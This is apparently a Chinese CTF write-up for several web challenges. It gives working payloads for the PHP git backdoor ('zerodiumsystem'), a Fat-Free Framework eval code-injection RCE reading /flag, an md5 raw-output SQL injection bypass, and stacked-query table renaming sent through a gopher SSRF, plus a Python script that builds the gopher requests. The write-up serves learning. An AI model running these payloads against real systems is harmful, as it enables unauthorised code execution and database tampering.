SQL时间注入日志,根据sleep(2)查看时间间隔确定字符
90,109,120,104,90,51,116,90,98,51,86,102,89,88,74,108,88,51,78,118,88,50,100,121,90,87,70,48,102,81,61,61
转换字符ZmxhZ3tZb3VfYXJlX3NvX2dyZWF0fQ==
,然后base64解码得flag
Description:
师傅们常说,要善于学习,细致入微;师傅们也常说,要善于分享,总结归纳。
hint:
2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染。
前两天p神小密圈里发过了,当时还没细看,没想到这就用上了。。。
https://www.sohu.com/a/458246348_120055360
payload
1
|
User-Agentt: zerodiumsystem('cat /flag');
|
Description:
是缺陷还是漏洞呢。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();
|
对比官方index.php的内容可知这道题使用的是3.7版本,盲猜是最新的3.7.3版本,下源码审计。
网上可以找到一个关于clear函数命令执行的CVE,而在输入后会进入offsetunset
函数,此时刚好触发clear函数。所以直接去审clear函数,发现存在eval的代码注入eval('unset('.$val.');');
(530行),估计漏洞点就在这里。
首先实验eval('unset('.$a.');');
得到payload:
1
|
?a=$DEBUG);?><?=`dir`;//
|
然后使用这个payload进入源码debug,发现还是无法成功闭合括号。这就涉及到框架如何处理输入的函数compile(240行),从clear函数调用compile函数代码$this->compile('@hive.'.$key, FALSE));
开始分析compile函数,已知$evaluate变量值为false,就只取用前半段的正则处理部分拿到本地测试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
$str = "@hive.\$DEBUG[]);?><?=`dir`;//";
preg_replace_callback(
'/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
function($expr) {
// var_dump($expr);
$str='$'.$expr[1];
if (isset($expr[2]))
$str.=preg_replace_callback(
'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
function($sub) {
// var_dump($sub);
$val=isset($sub[2]) ? $sub[2] : $sub[1];
if (ctype_digit($val))
$val=(int)$val;
$out='['.var_export($val).']';
// echo "\n\$out = ".$out."\n";
return $out;
},
$expr[2]
);
// echo "\$str = ".$str."\n";
return $str;
},
$str
);
?>
|
第一个正则部分很好理解,目的就是分离clear函数调用compile函数时添加的hive数组(个人认为变量后添加 . 就是为了方便正则匹配分离hive),方便后续使用键取值,然后就可以得到
1
2
3
4
5
6
7
8
|
array(3) {
[0] =>
string(29) "@hive.$DEBUG[]);?><?=`dir`;//"
[1] =>
string(4) "hive"
[2] =>
string(24) ".$DEBUG[]);?><?=`dir`;//"
}
|
接下来进行第二段正则,第一部分的正则是为了得到数组名hive,那么第二段就是为了修改字符串以符合[键]
的格式,最后连接$hive
完成取值,但是不完善的正则加上回调替换就导致了只有部分字符被修改成[键]
的格式。以这样的理解去看这段正则就会简单许多,匹配的两部分分别是匹配.开头的字符直到遇到.[]其中一个字符停止和匹配 [键] 格式出现的键
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
array(2) {
[0] =>
string(7) ".$DEBUG"
[1] =>
string(6) "$DEBUG"
}
'$DEBUG' # export函数输出
array(3) {
[0] =>
string(2) "[]"
[1] =>
string(0) ""
[2] =>
string(0) ""
}
'' # export函数输出
$hive['$DEBUG'][]);?><?=`dir`;// # 最后的拼接字符串
|
看到最后拼接字符串出现了一个疑问,既然第二部分只是为了修改成数组键格式,那为什么要使用[]
?
这是因为如果不添加[]就会导致\.([^.\[\]]+)
匹配所有字符,所有字符都会被当成键,所以需要[]
终止正则。
接着就出现第二个问题,既然.[]
都拥有终止正则的作用,为什么要使用[]
跟在$DEBUG
后面?
情况一:使用 .
\.([^.\[\]]+)
会匹配\.
之后的字符,所以后面的字符还是逃不了被当成键的命运;
情况二:使用 [ 或 ]
会出现语法错误,具体什么错误懒得看,反正就是有错;
情况三:使用 []
正常执行
至此,终极payload已然出炉:
1
|
?a=$DEBUG[]);?><?=`cat /f*`;//
|
Description:
这个sql吧,有点ssrf的样子,首页是一个很普通的sql注入,没有什么花样,但是我的admin.php是一个内网的管理系统,只要你用“真-admin”的密码登录了,就可以拿到flag,反正慢慢做就对了,不要急躁,静下心。
hint:
第一步登录的sql语句是"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";
试了好久试不出来,结果登陆语句居然是这个。。。由于常用的ffifdyop被过滤,只能寻找其他的永真式,在文章https://blog.werner.wiki/php-md5-true-sqli/找到129581926211651571912466741651878684928成功登录。
登陆后跳转到ssrf.php且提示gopher协议,一开始以为是要SSRF打mysql获得密码后登录admin.php获取flag,但是用户密码库名都不知道,即使是无密码登录也没办法,后面发现是使用gopher进行SQL注入。
库结构
1
2
3
|
ctf => users => id,email,password
ctf2 => fake_admin => id,username,fake_password
=> real_admin_here_do_you_find => id,username,password
|
通过注入1'||1#
可以发现当前表是ctf2.fake_admin
,之后使用经典随便注的payload换表名。
1
2
|
# -1';RENAME TABLE `fake_admin` TO `tyskill`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;#
gopher://127.0.0.1:80/_POST%20/admin.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%20166%0D%0A%0D%0Ausername%3D1%2527%253BRENAME%2520TABLE%2520%2560fake_admin%2560%2520TO%2520%2560tyskill%2560%253BRENAME%2520TABLE%2520%2560real_admin_here_do_you_find%2560%2520TO%2520%2560fake_admin%2560%253B%2523%26password%3D123
|
之后注入1'||1#
获得admin_inner:5fb4e07de914cfc82afb44vbaf402203
,最后一个脑洞:使用admin登陆而不是admin_inner,最后补一下Cookie即可。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
# -*-coding-*-: utf-8
import requests
from urllib.parse import quote as urlencode
def Gopher(username, password="123"):
PROTOCOL = "gopher://"
IP = "127.0.0.1"
PORT = "80"
data = f"username={urlencode(username)}&password={urlencode(password)}"
length = len(data)
print(f"[+] request-length: {length}")
# stream = f"""POST /admin.php HTTP/1.1
# Host: 127.0.0.1
# Content-Type: application/x-www-form-urlencoded
# Content-Length: {length}
# {data}""".replace("\n", "\r\n")
stream = f"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=b7ps1amtt5310i3khma6qhcdi2; path=/
Content-Type: application/x-www-form-urlencoded
Content-Length: {length}
{data}""".replace("\n", "\r\n")
payload = PROTOCOL + IP + ":" + PORT + "/_" + urlencode(stream)
print("[+] payload: " + payload)
return payload
if __name__ == '__main__':
# Gopher("1';RENAME TABLE `fake_admin` TO `tyskill`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;#")
# Gopher("1'||1#")
Gopher("admin","5fb4e07de914cfc82afb44vbaf402203")
|